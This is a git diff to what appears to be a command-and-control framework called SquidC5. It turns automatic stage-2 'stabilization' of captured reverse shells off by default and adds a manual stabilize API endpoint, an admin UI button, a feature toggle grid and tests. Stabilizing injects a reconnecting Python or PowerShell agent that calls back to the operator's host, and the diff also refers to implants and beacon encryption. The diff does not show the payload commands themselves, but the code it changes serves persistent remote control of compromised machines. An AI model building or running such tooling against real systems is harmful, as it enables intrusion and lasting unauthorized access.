diff --git a/.env.example b/.env.example index 2af5443..ba95985 100644 --- a/.env.example +++ b/.env.example @@ -18,7 +18,7 @@ SQUIDC5_SECURITY_HEADERS=true # SQUIDC5_CORS_ORIGINS=["https://ops.example.mil"] # Public callback host/IP for stage-2 implants (lab/prod). Example: 203.0.113.10 SQUIDC5_PUBLIC_HOST= -SQUIDC5_SHELL_AUTO_STABILIZE=true +SQUIDC5_SHELL_AUTO_STABILIZE=false # Optional: set a known bootstrap admin token (otherwise auto-generated) # SQUIDC5_ADMIN_TOKEN_BOOTSTRAP=sc5_your_secure_token_here # Plugin HMAC signing secret (or auto-generated under data/plugin_signing.secret) diff --git a/AGENTS.md b/AGENTS.md index 5b193cd..c96fd45 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -41,7 +41,7 @@ Ops UI: `/ops` (admin UI loaded only after server-side admin token check) | MCP external tools | **OFF** until settings/feature enable | | Shell exec probe | **ON** | | False-shell filter | **ON** | -| Auto stage-2 stabilize | **ON** | +| Auto stage-2 stabilize | **OFF** (manual Stabilize or feature flag) | | Health details | **minimal** (`{"status":"ok"}`) | | Security headers | **ON** (nosniff, DENY frame, CSP, no-store) | | Admin ops UI | **server-gated** by admin scope | diff --git a/docker-compose.yml b/docker-compose.yml index 63d57af..6afdc39 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -15,7 +15,7 @@ services: # Secure-by-default: MCP off until explicitly needed SQUIDC5_MCP_ENABLED: ${SQUIDC5_MCP_ENABLED:-false} SQUIDC5_AI_ENABLED: ${SQUIDC5_AI_ENABLED:-true} - SQUIDC5_SHELL_AUTO_STABILIZE: ${SQUIDC5_SHELL_AUTO_STABILIZE:-true} + SQUIDC5_SHELL_AUTO_STABILIZE: ${SQUIDC5_SHELL_AUTO_STABILIZE:-false} SQUIDC5_EXPOSE_HEALTH_DETAILS: ${SQUIDC5_EXPOSE_HEALTH_DETAILS:-false} SQUIDC5_SECURITY_HEADERS: ${SQUIDC5_SECURITY_HEADERS:-true} # Stage-2 reconnect callback host - set in .env (never commit real IPs) diff --git a/docs/user-guide.md b/docs/user-guide.md index 4b67181..a7b570a 100644 --- a/docs/user-guide.md +++ b/docs/user-guide.md @@ -453,7 +453,15 @@ sc5 shell "whoami" ### Why stage-2 stabilize -Raw reverse shells die on network blips and often lack a clean line protocol. Auto-stabilize injects a reconnecting agent (Linux Python / Windows PowerShell) that re-checks in to `SQUIDC5_PUBLIC_HOST:` and supports reliable command execution. Stage-2 reconnects skip re-staging. Exec probe must pass or the session is dropped. +Raw reverse shells die on network blips and often lack a clean line protocol. Stage-2 injects a reconnecting agent (Linux Python / Windows PowerShell) that re-checks in to `SQUIDC5_PUBLIC_HOST:` and supports reliable command execution. Stage-2 reconnects skip re-staging. Exec probe must pass or the session is dropped. + +**Default: auto-stabilize is OFF.** Prefer one-shot **Stabilize shell** on the session context rail (detects Linux vs Windows). Enable auto via Admin → Features → *Auto stage-2 on reverse-shell capture*, or `SQUIDC5_SHELL_AUTO_STABILIZE=true`. + +| Action | How | +|--------|-----| +| Manual stabilize | Ops → session → **Stabilize shell** → `POST /api/v1/sessions/{id}/stabilize` `{os:"auto"}` | +| Force OS | `{os:"linux"}` or `{os:"windows"}` | +| Auto on capture | Feature `shell_auto_stabilize` (default false) | ### Pitfalls diff --git a/packaging/squidc5.service b/packaging/squidc5.service index a0700e1..5bd8153 100644 --- a/packaging/squidc5.service +++ b/packaging/squidc5.service @@ -13,7 +13,7 @@ Environment=SQUIDC5_DATA_DIR=/opt/squidc5/data Environment=SQUIDC5_PUBLIC_HOST= Environment=SQUIDC5_MCP_ENABLED=false Environment=SQUIDC5_AI_ENABLED=true -Environment=SQUIDC5_SHELL_AUTO_STABILIZE=true +Environment=SQUIDC5_SHELL_AUTO_STABILIZE=false Environment=SQUIDC5_EXPOSE_HEALTH_DETAILS=false Environment=SQUIDC5_SECURITY_HEADERS=true Environment=SQUIDC5_TLS_ENABLED=true diff --git a/src/squidc5/api/routes.py b/src/squidc5/api/routes.py index cdf779d..ee33572 100644 --- a/src/squidc5/api/routes.py +++ b/src/squidc5/api/routes.py @@ -279,6 +279,12 @@ class ClaimRequest(BaseModel): ttl_sec: int | None = None # override default claim TTL; 0 = no expiry +class StabilizeRequest(BaseModel): + """One-shot stage-2. os: auto|linux|windows (default auto = probe).""" + + os: str | None = "auto" + + class PresenceHeartbeat(BaseModel): status: str = "online" viewing_session: str | None = None @@ -1723,6 +1729,54 @@ def build_api_router() -> APIRouter: raise HTTPException(404, result.get("error") or "No live reverse shell for session") return result + @api.post("/sessions/{session_id}/stabilize") + async def stabilize_session( + session_id: str, + request: Request, + body: StabilizeRequest | None = None, + auth: AuthContext = Depends(require_scope("shell:interact", "sessions:write", "admin")), + ) -> dict[str, Any]: + """One-shot stage-2: detect Linux/Windows and inject reconnect agent.""" + state = get_state(request) + decision = await state.policy.check_and_audit( + auth, + "shell.stabilize", + resource=session_id, + extra={"os": (body.os if body else None) or "auto"}, + ) + if not decision.allowed: + raise _policy_http_error(decision) + try: + await state.teams.assert_write_access( + session_id, auth.name, is_admin=auth.has_scope("admin") + ) + except KeyError as e: + raise HTTPException(404, str(e)) from e + except PermissionError as e: + raise HTTPException(403, str(e)) from e + if not state.listeners.is_live(session_id): + raise HTTPException( + 404, + "No live TCP channel — stabilize needs an open reverse shell", + ) + os_hint = (body.os if body else None) or "auto" + if os_hint.strip().lower() in ("", "auto", "detect"): + os_hint = None + try: + result = await state.listeners.stabilize_session( + session_id, + os_hint=os_hint, + actor=auth.name, + delay=False, + ) + except RuntimeError as e: + raise HTTPException(400, str(e)) from e + await state.metrics.emit( + "shell.stabilize.manual", + {"session_id": session_id, "actor": auth.name, "result": result.get("status")}, + ) + return result + @api.post("/shell/broadcast") async def shell_broadcast( request: Request, diff --git a/src/squidc5/config.py b/src/squidc5/config.py index c171692..b06b171 100644 --- a/src/squidc5/config.py +++ b/src/squidc5/config.py @@ -48,8 +48,9 @@ class Settings(BaseSettings): # Implant beacon AEAD (ChaCha20-Poly1305). PSK auto-generated under data/implant_psk.txt implant_psk: str | None = None implant_require_auth: bool = True - # Reverse-shell auto-stabilization (stage-2 reconnect agents) - shell_auto_stabilize: bool = True + # Reverse-shell auto-stabilization (stage-2 reconnect agents). Default OFF — + # operators enable via feature flag or one-shot Stabilize on a session. + shell_auto_stabilize: bool = False # Host/IP implants should call back to (defaults to request/local bind if empty) public_host: str = "" public_ip: str = "" # A-record for OAST DNS answers (SQUIDC5_PUBLIC_IP) diff --git a/src/squidc5/features.py b/src/squidc5/features.py index f09cb4f..d2fbd93 100644 --- a/src/squidc5/features.py +++ b/src/squidc5/features.py @@ -11,7 +11,7 @@ from squidc5.db.store import Database DEFAULT_FEATURES: dict[str, bool] = { "ai_enabled": True, "mcp_enabled": False, # external AI off until explicitly enabled - "shell_auto_stabilize": True, + "shell_auto_stabilize": False, # manual Stabilize preferred; enable for auto stage-2 "shell_exec_probe": True, "shell_broadcast": True, "false_shell_filter": True, @@ -33,7 +33,7 @@ DEFAULT_FEATURES: dict[str, bool] = { FEATURE_LABELS: dict[str, str] = { "ai_enabled": "Admin AI (LLM capabilities)", "mcp_enabled": "External MCP tools", - "shell_auto_stabilize": "Reverse-shell auto stage-2", + "shell_auto_stabilize": "Auto stage-2 on reverse-shell capture (default OFF)", "shell_exec_probe": "Shell exec verification / zombie drop", "shell_broadcast": "Shell broadcast to all verified", "false_shell_filter": "TLS/HTTP false-shell filter", diff --git a/src/squidc5/listeners/manager.py b/src/squidc5/listeners/manager.py index 23a75ee..4a3af87 100644 --- a/src/squidc5/listeners/manager.py +++ b/src/squidc5/listeners/manager.py @@ -465,20 +465,20 @@ class ListenerManager: out_task = asyncio.create_task(pump_out()) stabilize_task: asyncio.Task[None] | None = None - # Feature flags (optional; default on when unset) - do_stabilize = self.auto_stabilize + # Auto-stabilize: feature flag is the runtime switch (seeded from settings default OFF) + do_stabilize = bool(self.auto_stabilize) do_probe = True do_filter = True if self.feature_check is not None: try: - do_stabilize = do_stabilize and await self.feature_check("shell_auto_stabilize") + do_stabilize = bool(await self.feature_check("shell_auto_stabilize")) do_probe = await self.feature_check("shell_exec_probe") do_filter = await self.feature_check("false_shell_filter") except Exception: pass if kind == "reverse_shell" and do_stabilize: stabilize_task = asyncio.create_task( - self._auto_stabilize(sid, cb_host, cb_port), + self._stabilize_session(sid, cb_host, cb_port, delay=True), name=f"stabilize-{sid}", ) # Verify channel can execute - drop echo-only zombies @@ -586,63 +586,149 @@ class ListenerManager: except Exception: pass - async def _auto_stabilize(self, session_id: str, host: str, port: int) -> None: - """Probe OS then inject platform stage-2 reconnect agent.""" + async def resolve_callback(self, session_id: str) -> tuple[str, int]: + """Public host + listener port for stage-2 reconnect.""" + writer = self._writers.get(session_id) + if writer is None: + raise RuntimeError("session has no live TCP channel") + srow = await self.db.get_session(session_id) + listener_port = 0 + if srow and srow.get("listener_id"): + lrow = await self.db.get_listener(str(srow["listener_id"])) + if lrow: + listener_port = int(lrow["port"] or 0) + return self._callback_host_port(writer, listener_port) + + async def stabilize_session( + self, + session_id: str, + *, + os_hint: str | None = None, + actor: str = "operator", + delay: bool = False, + ) -> dict[str, Any]: + """Operator one-shot: probe OS (or use hint) and inject Win/Linux stage-2.""" + if not self.is_live(session_id): + raise RuntimeError("session is not a live reverse shell") + host, port = await self.resolve_callback(session_id) + return await self._stabilize_session( + session_id, + host, + port, + os_hint=os_hint, + actor=actor, + delay=delay, + reject_on_noise=False, + ) + + async def _stabilize_session( + self, + session_id: str, + host: str, + port: int, + *, + os_hint: str | None = None, + actor: str = "system", + delay: bool = True, + reject_on_noise: bool = True, + ) -> dict[str, Any]: + """Probe OS then inject platform stage-2 reconnect agent (Linux/Windows).""" try: - await asyncio.sleep(self.stabilize_delay_sec) + if delay: + await asyncio.sleep(self.stabilize_delay_sec) if session_id in self._rejected: - return + return {"status": "rejected", "session_id": session_id} early = "".join(self._shell_buffers.get(session_id, [])[-10:]) if early: v = classify_inbound(early) if not v.is_shell and v.confidence >= 0.8: - await self._reject_session(session_id, v.reason, "stabilize-early") - return + if reject_on_noise: + await self._reject_session(session_id, v.reason, "stabilize-early") + return {"status": "rejected", "reason": v.reason, "session_id": session_id} + return {"status": "error", "reason": v.reason, "session_id": session_id} if "SC5_STABLE" in early: log.info("Session %s already stable (banner) - skip re-stage", session_id) - await self.db.update_session( - session_id, - metadata={"stabilized": True, "stage2": True, "stable_banner": True}, - ) + row = await self.db.get_session(session_id) + existing: dict[str, Any] = {} + if row and row.get("metadata"): + try: + existing = ( + json.loads(row["metadata"]) + if isinstance(row["metadata"], str) + else dict(row["metadata"]) + ) + except (json.JSONDecodeError, TypeError): + existing = {} + existing.update({"stabilized": True, "stage2": True, "stable_banner": True}) + await self.db.update_session(session_id, metadata=existing) await self.metrics.emit( "shell.stabilize.skip", {"session_id": session_id, "reason": "already_stable"}, ) - return + return { + "status": "already_stable", + "session_id": session_id, + "callback": f"{host}:{port}", + } stabilizer = ShellStabilizer(host, port) - await asyncio.sleep(0.3) + if delay: + await asyncio.sleep(0.3) if session_id in self._rejected: - return - probe = stabilizer.probe_command() - await self.send_shell(session_id, probe) - await asyncio.sleep(self.probe_wait_sec) - if session_id in self._rejected: - return + return {"status": "rejected", "session_id": session_id} - blob = "".join(self._shell_buffers.get(session_id, [])[-20:]) - if blob: - v = classify_inbound(blob) - if not v.is_shell and v.confidence >= 0.8: - await self._reject_session(session_id, v.reason, "stabilize-probe") - return + hint = (os_hint or "").strip().lower() + family = "unknown" + if hint in ("linux", "unix", "posix"): + family = "linux" + elif hint in ("windows", "win", "win32"): + family = "windows" + else: + probe = stabilizer.probe_command() + await self.send_shell(session_id, probe) + await asyncio.sleep(self.probe_wait_sec) + if session_id in self._rejected: + return {"status": "rejected", "session_id": session_id} - if "SC5_STABLE" in blob: - log.info("Session %s became stable during probe - skip", session_id) - return + blob = "".join(self._shell_buffers.get(session_id, [])[-20:]) + if blob: + v = classify_inbound(blob) + if not v.is_shell and v.confidence >= 0.8: + if reject_on_noise: + await self._reject_session(session_id, v.reason, "stabilize-probe") + return {"status": "rejected", "reason": v.reason, "session_id": session_id} + return {"status": "error", "reason": v.reason, "session_id": session_id} + + if "SC5_STABLE" in blob: + log.info("Session %s became stable during probe - skip", session_id) + return { + "status": "already_stable", + "session_id": session_id, + "callback": f"{host}:{port}", + } + + family = detect_os(blob) + # Prefer session os_info when probe is ambiguous + if family == "unknown": + srow = await self.db.get_session(session_id) + oi = ((srow or {}).get("os_info") or "").lower() + if "win" in oi: + family = "windows" + elif "linux" in oi or "unix" in oi or "darwin" in oi: + family = "linux" - family = detect_os(blob) plan = stabilizer.plan(family) log.info( - "Stabilizing session %s as %s via %s (callback %s:%s)", + "Stabilizing session %s as %s via %s (callback %s:%s) actor=%s", session_id, plan.os_family, plan.method, host, port, + actor, ) await self.metrics.emit( "shell.stabilize.start", @@ -651,12 +737,13 @@ class ListenerManager: "os": plan.os_family, "method": plan.method, "callback": f"{host}:{port}", + "actor": actor, }, ) for cmd in plan.commands: if session_id in self._rejected: - return + return {"status": "rejected", "session_id": session_id} ok = await self.send_shell(session_id, cmd) if not ok: break @@ -664,15 +751,17 @@ class ListenerManager: meta = { "stabilized": True, + "stage2": True, "stabilize_os": plan.os_family, "stabilize_method": plan.method, "stabilize_callback": f"{host}:{port}", "stabilize_notes": plan.notes, + "stabilize_actor": actor, } row = await self.db.get_session(session_id) if not row: - return - existing: dict[str, Any] = {} + return {"status": "error", "reason": "session_gone", "session_id": session_id} + existing = {} if row.get("metadata"): try: existing = ( @@ -693,18 +782,27 @@ class ListenerManager: {"session_id": session_id, "os": plan.os_family, "method": plan.method}, ) await self.db.audit( - actor="system", - actor_type="system", + actor=actor, + actor_type="operator" if actor != "system" else "system", action="shell.stabilize", resource=session_id, details=meta, risk_score=4, ) + return { + "status": "stabilized", + "session_id": session_id, + "os": plan.os_family, + "method": plan.method, + "callback": f"{host}:{port}", + "notes": plan.notes, + } except asyncio.CancelledError: raise - except Exception: - log.exception("Auto-stabilize failed for %s", session_id) + except Exception as e: + log.exception("Stabilize failed for %s", session_id) await self.metrics.emit("shell.stabilize.error", {"session_id": session_id}) + raise RuntimeError(str(e) or "stabilize failed") from e def is_live(self, session_id: str) -> bool: """True only while a TCP reverse-shell channel is attached in this process.""" diff --git a/tests/test_shell_stabilize_api.py b/tests/test_shell_stabilize_api.py new file mode 100644 index 0000000..636ba25 --- /dev/null +++ b/tests/test_shell_stabilize_api.py @@ -0,0 +1,90 @@ +"""Manual shell stabilize API + auto-stabilize default OFF.""" + +from __future__ import annotations + +import pytest +from httpx import ASGITransport, AsyncClient + +from squidc5.config import Settings +from squidc5.features import DEFAULT_FEATURES +from squidc5.main import create_app +from squidc5.shells.stabilize import ShellStabilizer, detect_os + +ADMIN = "sc5_test_admin_token_bootstrap_stab01" + + +def test_defaults_auto_stabilize_off(tmp_path): + assert DEFAULT_FEATURES.get("shell_auto_stabilize") is False + s = Settings( + data_dir=tmp_path / "sc5-stab-cfg", + debug=True, + mcp_enabled=False, + plugin_signing_secret="x" * 32, + ) + assert s.shell_auto_stabilize is False + + +def test_detect_os_and_plans(): + assert detect_os("Linux ubuntu 5.15") == "linux" + assert detect_os("Microsoft Windows [Version 10.0]") == "windows" + st = ShellStabilizer("10.0.0.1", 443) + assert "python" in st.plan("linux").method.lower() or "stage2" in st.plan("linux").method.lower() + assert "power" in st.plan("windows").method.lower() or "stage2" in st.plan("windows").method.lower() + assert st.plan("linux").commands + assert st.plan("windows").commands + + +@pytest.mark.asyncio +async def test_stabilize_requires_live_channel(tmp_path): + settings = Settings( + data_dir=tmp_path / "stab1", + debug=True, + mcp_enabled=False, + admin_token_bootstrap=ADMIN, + plugin_signing_secret="test-plugin-signing-secret-for-ci", + implant_require_auth=False, + rate_limit_per_minute=2000, + shell_auto_stabilize=False, + ) + app = create_app(settings) + async with app.router.lifespan_context(app): + transport = ASGITransport(app=app) + async with AsyncClient(transport=transport, base_url="http://test") as client: + h = {"Authorization": f"Bearer {ADMIN}"} + # default feature flag off + feat = await client.get("/api/v1/features", headers=h) + assert feat.status_code == 200 + assert feat.json()["features"]["shell_auto_stabilize"] is False + + sid = await app.state.app_state.sessions.register( + kind="reverse_shell", + remote_addr="10.1.2.3:4444", + ) + r = await client.post( + f"/api/v1/sessions/{sid}/stabilize", + headers=h, + json={"os": "auto"}, + ) + assert r.status_code == 404 + assert "live" in r.json()["detail"].lower() + + +@pytest.mark.asyncio +async def test_ops_ui_stabilize_marker(tmp_path): + settings = Settings( + data_dir=tmp_path / "stab2", + debug=True, + mcp_enabled=False, + admin_token_bootstrap=ADMIN, + plugin_signing_secret="test-plugin-signing-secret-for-ci", + rate_limit_per_minute=2000, + ) + app = create_app(settings) + async with app.router.lifespan_context(app): + transport = ASGITransport(app=app) + async with AsyncClient(transport=transport, base_url="http://test") as client: + h = {"Authorization": f"Bearer {ADMIN}"} + js = (await client.get("/api/v1/ops/admin.js", headers=h)).text + assert "ctxStabilize" in js + assert "/stabilize" in js + assert "adFeatSave" in js diff --git a/web/ops-admin.js b/web/ops-admin.js index d3fc12f..f3d3403 100644 --- a/web/ops-admin.js +++ b/web/ops-admin.js @@ -483,6 +483,24 @@ showOk("Spectator snapshot"); } catch (e) { showError(String(e.message || e)); } }; + if (el("ctxStabilize")) el("ctxStabilize").onclick = async () => { + if (!selectedId) return; + if (!confirm("Inject stage-2 stabilize agent? Detects Linux vs Windows and reconnects a durable channel.")) return; + try { + const r = await api( + "POST", + `/api/v1/sessions/${encodeURIComponent(selectedId)}/stabilize`, + { os: "auto" }, + ); + showOk(r.status === "already_stable" ? "Already stable" : ("Stabilized as " + (r.os || "?"))); + if (el("ctxOut")) { + el("ctxOut").textContent = JSON.stringify(r, null, 2); + el("ctxOut").classList.remove("empty"); + } + if (window.__SC5_refresh) await window.__SC5_refresh(); + renderContext(true); + } catch (e) { showError(String(e.message || e)); } + }; if (el("ctxRun")) el("ctxRun").onclick = async () => { const command = (el("ctxCmd").value || "").trim(); if (!command) return showError("Command required"); @@ -563,6 +581,10 @@ ${can("sessions:read") ? '' : ""} ${shellOk ? ` +
+ +
+

Injects OS-aware stage-2 (Python/PowerShell). Auto-stabilize is OFF by default — Admin → Features.

@@ -1996,9 +2018,12 @@
- + +
-
-
+

Runtime switches. Auto stage-2 defaults OFF — use session Stabilize shell for one-shot.

+
+
-
@@ -2436,7 +2461,51 @@ } catch (e) { showError(String(e.message || e)); } }; if (el("adPolGet")) el("adPolGet").onclick = () => dump("/api/v1/policy"); - if (el("adFeat")) el("adFeat").onclick = () => dump("/api/v1/features"); + async function loadFeatureToggles() { + const grid = el("adFeatGrid"); + if (!grid) return; + try { + const r = await api("GET", "/api/v1/features"); + const feats = r.features || r || {}; + const labelBy = {}; + (r.catalog || []).forEach((c) => { + if (c && c.key) labelBy[c.key] = c.label || c.key; + }); + const keys = Object.keys(feats).sort(); + grid.innerHTML = keys.map((k) => { + const lab = labelBy[k] || k; + const on = !!feats[k]; + const locked = k === "public_docs"; + return ``; + }).join("") || 'No features'; + if (el("adOut")) { + el("adOut").classList.remove("empty"); + el("adOut").textContent = JSON.stringify({ features: feats }, null, 2); + } + } catch (e) { showError(String(e.message || e)); } + } + if (el("adFeat")) el("adFeat").onclick = () => loadFeatureToggles(); + if (el("adFeatSave")) el("adFeatSave").onclick = async () => { + const features = {}; + document.querySelectorAll("input.ad-feat").forEach((inp) => { + const k = inp.getAttribute("data-feat"); + if (k && !inp.disabled) features[k] = !!inp.checked; + }); + try { + const r = await api("PUT", "/api/v1/features", { features }); + showOk("Features saved"); + if (el("adOut")) { + el("adOut").classList.remove("empty"); + el("adOut").textContent = JSON.stringify(r, null, 2); + } + await loadFeatureToggles(); + } catch (e) { showError(String(e.message || e)); } + }; + // Load feature grid when admin view builds + loadFeatureToggles(); }